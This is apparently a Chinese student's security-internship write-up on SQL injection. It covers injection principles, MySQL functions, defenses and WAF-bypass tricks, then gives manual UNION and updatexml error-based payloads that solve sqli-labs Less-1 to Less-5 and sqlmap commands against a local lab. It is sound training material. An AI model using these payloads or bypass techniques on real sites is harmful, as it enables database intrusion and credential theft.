网络安全集中实习作业 8月30日

网络安全集中实习作业 8月30日

任务

1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
3.总结SQLi的手工注入的步骤
4.使用sqlmap通过或验证第六关

一、SQL注入

SQL注入(SQL Injection)是一种常见的Web应用程序漏洞,它允许攻击者通过操纵SQL查询来访问、修改或删除数据库中的数据。

1.SQL注入原理

SQL命令可查询、插入、更新、删除等,命令的串接。而以分号字符为不同命令的区别。(原本的作用是用于SubQuery或作为查询、插入、更新、删除……等的条件式)
SQL命令对于传入的字符串参数是用单引号字符所包起来。(但连续2个单引号字符,在SQL数据库中,则视为字符串中的一个单引号字符)
SQL命令中,可以注入注解(连续2个减号字符 – 后的文字为注解,或“/”与“/”所包起来的文字为注解)
因此,如果在组合SQL的命令字符串时,未针对单引号字符作转义处理的话,将导致该字符变量在填入命令字符串时,被恶意窜改原本的SQL语法的作用。

2.SQL注入常用函数及含义

数据库信息获取函数
* **user()**:返回当前数据库的用户名。
* **system_user()**:返回系统用户名(在某些数据库系统中与user()函数相同)。
* **current_user()**:返回当前数据库会话的用户名。
* **session_user()**:返回与当前会话关联的用户名(在某些数据库系统中与current_user()函数相同)。
* **database()**:返回当前数据库的名称。
* **version()**:返回数据库的版本信息。
* **@@datadir**:返回数据库文件的存放路径(MySQL特有)。
* **@@basedir**:返回数据库的安装路径(MySQL特有)。
* **@@version_compile_os**:返回编译数据库时使用的操作系统版本(MySQL特有)。
字符串处理函数
* **concat()**:连接一个或多个字符串,直接拼接,字符之间没有分隔符。
* **concat_ws()**:使用指定的分隔符连接一个或多个字符串。
* **group_concat()**:将来自多个记录的列值连接成一个字符串,并以逗号分隔。
* **substr()****substring()**:从字符串中截取子字符串。
* **left()**:返回字符串最左边的指定个数的字符。
* **right()**:返回字符串最右边的指定个数的字符。
* **mid()**:与substr()函数类似,用于从字符串中提取子字符串。
* **ascii()**:返回字符串最左面字符的ASCII码值。
* **ord()**:在某些数据库中,与ascii()函数类似,返回字符串第一个字符的ASCII值。
盲注相关函数
* **length()**:返回字符串的长度,常用于盲注中判断字符串的长度。
* **sleep()**:使查询暂停指定的时间,常用于时间盲注中测量响应时间。
* **if()**:根据条件返回不同的值,常用于构造条件语句进行盲注。
报错注入相关函数
* **floor()**:向下取整函数,结合其他函数使用时可能引发数据库错误,从而泄露信息。
* **rand()**:生成随机数,有时与floor()等函数结合使用以触发错误。
* **exp()**:计算e的x次方,当x值过大时可能导致溢出错误,从而泄露信息。
* **updatexml()****extractvalue()**:这两个函数用于处理XML数据,当XML文档或XPath字符串不符合规范时,会触发错误并可能泄露信息。
文件操作函数
* **load_file()**:读取服务器上的文件内容。
* **into outfile****into dumpfile**:将查询结果写入到服务器上的文件中。这些函数可能被用于写入恶意代码或提取敏感数据。
其他函数
* **char()**:根据ASCII码值返回对应的字符。
* **strcmp()**:比较两个字符串的内容,返回0表示相等,非0表示不相等。
* **ifnull()**:如果第一个参数不为NULL,则返回第一个参数的值;否则返回第二个参数的值。

3.SQL注入防御手段

SQL注入(SQL Injection)是一种常见的网络攻击方式,攻击者通过在输入字段中插入恶意SQL代码,试图操控数据库执行非预期的操作。为了防御SQL注入,以下是一些有效的措施:

使用预编译语句(Prepared Statements)
  • 预编译语句使用参数化查询,防止攻击者在输入中插入SQL代码。数据库会将SQL查询与参数分开处理,从而避免SQL注入的风险。
  • 在大多数编程语言中,如Java、Python、PHP等,都支持预编译语句。
使用存储过程
  • 存储过程是数据库中的预编译SQL代码片段。通过将业务逻辑封装在存储过程中,可以减少直接拼接SQL查询的机会,降低注入攻击的可能性。
输入验证
  • 对所有用户输入的数据进行严格的验证和过滤。例如,可以限制输入的长度、类型,或采用白名单机制只允许合法的输入内容。
输出编码
  • 在显示用户提供的数据之前,对数据进行输出编码,以防止用户输入包含的恶意SQL代码在页面上执行。这对于防止基于XSS的SQL注入也很重要。
最小权限原则
  • 数据库用户应仅拥有执行必要操作的最小权限。避免使用具有过多权限的数据库用户来运行应用程序,这样即使攻击成功,损害也可以被限制在最小范围内。
定期安全审计
  • 定期对代码进行安全审计,查找和修复可能存在的SQL注入漏洞。包括代码静态分析、安全测试和漏洞扫描等。
使用Web应用防火墙(WAF)
  • Web应用防火墙能够检测并阻止常见的SQL注入攻击模式。虽然WAF不能替代安全编码,但作为额外的防御层是非常有用的。
错误信息管理
  • 避免将详细的数据库错误信息暴露给用户,以防止攻击者利用这些信息进行SQL注入攻击。可以记录详细错误信息到日志,同时向用户展示友好的错误提示。
及时更新和修补
  • 确保使用最新版本的数据库管理系统和应用框架,以利用最新的安全补丁和功能来防止SQL注入攻击。

通过结合上述防御手段,可以大大降低SQL注入攻击的风险,保障应用程序和数据的安全。

4.SQL注入常用绕过waf的方法

SQL注入中绕过WAF(Web Application Firewall,Web应用防火墙)的方法多种多样,这些方法主要利用WAF的检测机制和数据库系统的特性来构造绕过策略。以下是一些常用的绕过WAF的方法:

注释符号绕过

攻击者可以使用SQL注释符号(如--/**/#)来绕过WAF的检测。这些符号可以用来隐藏恶意SQL代码,使其不会被WAF识别或过滤。例如,在查询语句中添加-- -来注释掉后面的SQL代码,从而绕过WAF的检测。

编码绕过

攻击者可以使用不同的字符编码来绕过WAF的检测。包括URL编码、Unicode编码等。例如,将SQL关键字或敏感数据编码成URL编码形式(如%61%64%6D%69%6E代表admin),以此绕过WAF的检测。

大小写绕过

由于数据库系统对SQL关键字的大小写通常不敏感,攻击者可以将SQL关键字的大小写进行变换来绕过基于大小写的过滤器。例如,将SELECT写成SeLeCt

特殊字符绕过

攻击者使用引号、特殊字符等构造恶意SQL代码,有时可以绕过WAF的检测。例如,通过构造如SELECT * FROM users WHERE username = 'admin'' OR '1'='1的查询来绕过WAF。

逻辑漏洞绕过

利用应用程序或数据库的逻辑漏洞,结合盲注技术来绕过WAF。例如,通过构造复杂的逻辑表达式来绕过WAF的检测。

关键字替换和变形
  • 关键字替换:如果WAF对特定的SQL关键字进行拦截,攻击者可以尝试使用同义词或功能相似的函数来替换这些关键字。例如,使用substr()替换mid()函数。
  • 变形:对SQL语句进行变形,如使用空格、注释、特殊字符等替换掉原始语句中的部分内容,从而绕过WAF的关键词过滤。
混淆技术

使用空格、注释、换行符等混淆SQL语句的结构,使WAF难以准确识别其中的恶意部分。例如,使用/**/注释符来分隔或隐藏恶意代码。

分块传输编码

利用HTTP协议的分块传输编码机制,将SQL注入语句分多个块发送,以绕过WAF的检测。这种方法在HTTP 1.1版本中可用,允许服务器在最后发送消息头字段,从而可以在传输过程中动态构造SQL语句。

脏数据溢出

通过提交大量无用的数据(脏数据)作为SQL语句的一部分,使WAF在处理这些数据时超出其检测范围或性能极限,从而绕过WAF的检测。

利用WAF的漏洞或缺陷

如果WAF本身存在漏洞或缺陷,攻击者可以利用这些漏洞来绕过WAF的检测。这通常需要对WAF的实现细节有深入的了解。

二阶注入

通过存储型SQL注入(二阶注入)来绕过WAF。攻击者首先将恶意输入存储在数据库中,然后在稍后的请求中检索并执行这些恶意输入,从而绕过WAF对单次请求的检测。

利用文件白名单

有些WAF会自带文件白名单功能,对于白名单中的文件或目录不会进行拦截。攻击者可以尝试将恶意请求伪装成来自白名单文件或目录的请求,以此绕过WAF的检测。

二、sqli-labs通关记录

搭建sqli-labs靶场

打开小皮面板,运行Apache和MySQL组件
在这里插入图片描述
访问本地网址http://127.0.0.1/sqli-labs-master/,并进行初始化
在这里插入图片描述
出现下图所示画面代表初始化成功
在这里插入图片描述

Less-1

判断闭合方式

输入?id=1
在这里插入图片描述
输入?id=1’,判断为字符型
在这里插入图片描述

判断列数

依次输入下列语句,直至报错

?id=1' order by 1 --+

?id=1' order by 2 --+

?id=1' order by 3 --+

?id=1' order by 4 --+

在这里插入图片描述
说明数据有三列

联合查询
?id=1union select 1,2,3 --+

在这里插入图片描述

查找回显点
?id=100union select 1,2,3 --+

在这里插入图片描述
查找第二三列的数据名

?id=100' union select 1,2,database()--+

在这里插入图片描述
查找库下所有表

id=-1' union select 1,(select group_concat(table_name) from  information_schema.tables where table_schema= 'security'),3--+

在这里插入图片描述
查找数据

?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

在这里插入图片描述

Less-2

判断闭合类型

数字型
在这里插入图片描述

判断列数

依次输入下列语句,直至报错

?id=1 order by 1 --+

?id=1 order by 2 --+

?id=1 order by 3 --+

?id=1 order by 4 --+

在这里插入图片描述
说明有三列

查找回显
?id=-1 union select 1,2,3--+ 

在这里插入图片描述
查找数据库名称

?id=100 union select 1,2,database()--+
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

在这里插入图片描述

在这里插入图片描述
查看数据库中所有的表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述
查看表中的所有字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  and table_schema='security'-- 

在这里插入图片描述
查看数据

?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

在这里插入图片描述

Less-3

判断闭合

发现是以’)进行闭合
在这里插入图片描述

判断列数

依次输入下列语句,直至报错

?id=1') order by 1 --+

?id=1') order by 2 --+

?id=1') order by 3 --+

?id=1') order by 4 --+

在这里插入图片描述
发现仍旧只有3列
参照level-2步骤进行

![?id=-1') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+]

在这里插入图片描述

Less-4

此关和level-2和level-3一致,只有闭合方式不同,只展示闭合方式和最终结果

闭合方式

以“)方式进行闭合
在这里插入图片描述

?id=-1")union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

在这里插入图片描述

Less-5

报错注入

分别输入?id=1和?id=1’进行判断

在这里插入图片描述
在这里插入图片描述
如上图,仅仅返回报错和You are in…界面,所以可以使用报错注入,且使用单引号闭合

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1-------爆出数据库名

在这里插入图片描述
updatexml(1,concat(0x7e,database(),0x7e),1)

updatexml:这是MySQL的一个函数,通常用于更新XML数据。在这个例子中,它被用作利用函数。
1:这是updatexml函数的第一个参数,在这里无实际意义。
concat(0x7e,database(),0x7e):
concat:连接字符串的函数。
0x7e:这是十六进制表示的~符号(即ASCII码126)。
database():这是MySQL的一个函数,用于返回当前数据库的名称。
这个部分的作用是生成一个字符串,如databasename,其中databasename是当前数据库的名称。
1:这是updatexml函数的第三个参数,在这里无实际意义。
由于updatexml函数的使用不当,它会生成一个错误消息,错误消息中包含我们构造的字符串,从而泄露当前数据库的名称。

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+          --------爆出字段名

在这里插入图片描述

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+-------爆出字段下的内容

在这里插入图片描述

三、SQLi的手工注入的步骤

1) 判断是否存在注⼊点

1、登录
2、注册
3、留⾔
4、验证⽤户身份所属
5、查询某⽇xx信息
6、订单操作
……

2) 判断字段数量

在注⼊点后⾯添加语句【 order by int】,int的值可以是任意数字,但是⼀个数据表的字段数量通常不超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显

'order by number--+
{–}注释

在SQL中, – 是⼀种单⾏注释的开始。但是, – 后⾯必须紧跟⼀个空格(或其他⾮数字、⾮字⺟的字符),之后的所有内容才会被当作注释处理。这意呀着,如果 – 后⾯直接跟了数字、字⺟或某些
特殊字符(不包括空格),那么它不会被视为注释的开始,SQL解析器会尝试将 – 作为查询的⼀部分来解析。

{–+}注释

在SQL注⼊的场景中, --+ 经常被⽤作⼀种技巧来绕过某些过滤机制。这⾥的逻辑是, – 表示注释的开始,但由于某些SQL环境或应⽤可能对 – 进⾏了过滤,攻击者会尝试在 – 后⾯添加⼀个不常⻅
的字符(如 + ),这样过滤规则可能就不会识别出这是⼀个注释的开始。然⽽,从SQL解析的⻆度来看, + 紧接着 – (并且 – 后紧跟空格)通常也会被当作注释的⼀部分,因为 + 本身在SQL中(在
⼤多数上下⽂中)并不是⼀个操作符(除⾮它⽤于数学加法),所以 --+ 后接空格及之后的内容通常会被忽略

为什么需要 {–+} ⽽不是 {–}

在⼀些特定的环境中,⽐如某些数据库管理系统(DBMS)或应⽤程序可能通过简单的字符串匹配来过
滤掉 – 作为注释的尝试,以防⽌SQL注⼊。在这些情况下,使⽤ --+ 可能绕过这种简单的过滤机制,
因为过滤器可能没有预料到攻击者会在 – 后添加额外的字符。
然⽽,需要强调的是,依赖这种技巧进⾏SQL注⼊是⾮常不稳定的,因为不同的数据库系统或应⽤可能
对注释的处理⽅式有所不同。此外,随着安全意识的提⾼,现代的应⽤程序和数据库系统通常会采⽤更
复杂的⽅法来防⽌SQL注⼊,包括但不限于使⽤参数化查询、存储过程和ORM框架等

3)判断字段前端回显位置

在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进⾏联合查询来暴露可查询的字段号,看哪些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤

4) 判断数据库信息

利⽤内置函数暴数据库信息
version() -- 版本;
database() -- 数据库;
user() -- ⽤户;
不⽤猜解可⽤字段暴数据库信息(有些⽹站不适⽤)
and 1=2 union all select version() and 1=2
union all select database() and 1=2
union all select user()
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 -- 返回正常说明为root

5) 查找数据库名

Mysql 5 以上有内置库 information_schema存储着mysql的所有数据库和表结构信息

union select information_schema from info
rmation_schema.schemata (语句在显示位)

6)查找数据库表名

union select group_concat(table_name) from information_schema.tables where
table_schema=database()--+

注意字段⻓度,1,payload,2,3,#

7)查找列名

-1' union select 1,(select group_concat(column_name) from information_schem
a.columns where table_name='biaoming'),3,4#

8)查数据

-1' union select 1,(select columnsname from tablename),3,4#

四、sqlmap通过或验证第六关

sqlmap 简介

官网 https://sqlmap.org/
sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入漏洞并接管数据库服务器。它有一个强大的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项,从数据库指纹、数据获取到访问底层文件系统、执行操作系统命令。

特点

特点
全面支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB数据库
管理系统。
全面支持六种SQL注入技术:boolean-based盲注、time-based盲注、error-based、UNION查询、堆叠查询和带外查询。
通过提供DBMS凭证、IP地址、端口和数据库名,支持不通过SQL注入的直接连接数据库。
支持枚举用户、密码哈希、特权、角色、数据库、表和列。
自动识别密码哈希格式,支持基于字典的攻击破解。
支持完整转储数据库表,根据用户的选择转储一定范围内的条目或特定列。用户还可以选择只从每列中转储指定字符。
支持搜索特定的数据库名、表名,或跨表搜索特定的列名。这非常有用,例如,识别包含自定义应用程序凭证的表,其相关列名称可能包含
name、pass等字符串。
支持通过数据库服务器所在的文件系统下载和上传任何文件,当数据库软件是MySQL, PostgreSQL或Microsoft SQL server时。
支持通过数据库服务器所在的操作系统执行任意命令并获取输出,当数据库软件为MySQL、PostgreSQL或Microsoft SQL server时。
支持在攻击者机器和数据库服务器所在操作系统之间建立带外有状态的TCP连接,这个通道根据用户的选择可以是交互式命令行、
Meterpreter会话或图形用户界面(VNC)。
支持通过Metasploit的getsystem命令实现数据库进程的用户权限升级。

SQLMAP支持的五种不同的注入方式

B:Boolean-basedblindSQLinjection(布尔型注入)
E:Error-basedSQLinjection(报错型注入)
U:UNIONquerySQLinjection(可联合查询注入)
S:StackedqueriesSQLinjection(可多语句查询注入)
T:Time-basedblindSQLinjection(基于时间延迟注入)
Q:InlineSQLInjection(内联注入)

sqlmap 下载

sqlmap是基于python环境的,因此安装前需要安装python环境。
sqlmap项目地址
sqlmap官方网址
注:sqlmap曾经不支持python3.x环境,现已更新,无需下载python2.7
下载压缩包并解压
在这里插入图片描述
验证安装
在安装目录下打开终端,并键入python sqlmap.py -h 进行验证
在这里插入图片描述
显然,sqlmap安装成功

使用sqlmap通关Less-6

先测试一下是否存在SQL注入点:

 python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1

在这里插入图片描述
在这里插入图片描述
结果如图所示,id变量存在注入点,使用的是GET方法

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbms=MySQL --current-db
-----爆数据库名

在这里插入图片描述
列出所有数据库

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbms=MySQL --dbs

在这里插入图片描述

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbms=MySQL -D security --tables  -----查找表名

在这里插入图片描述

 python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --dbms=MySQL -D 'security' -T 'users' --dump -----查找字段

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值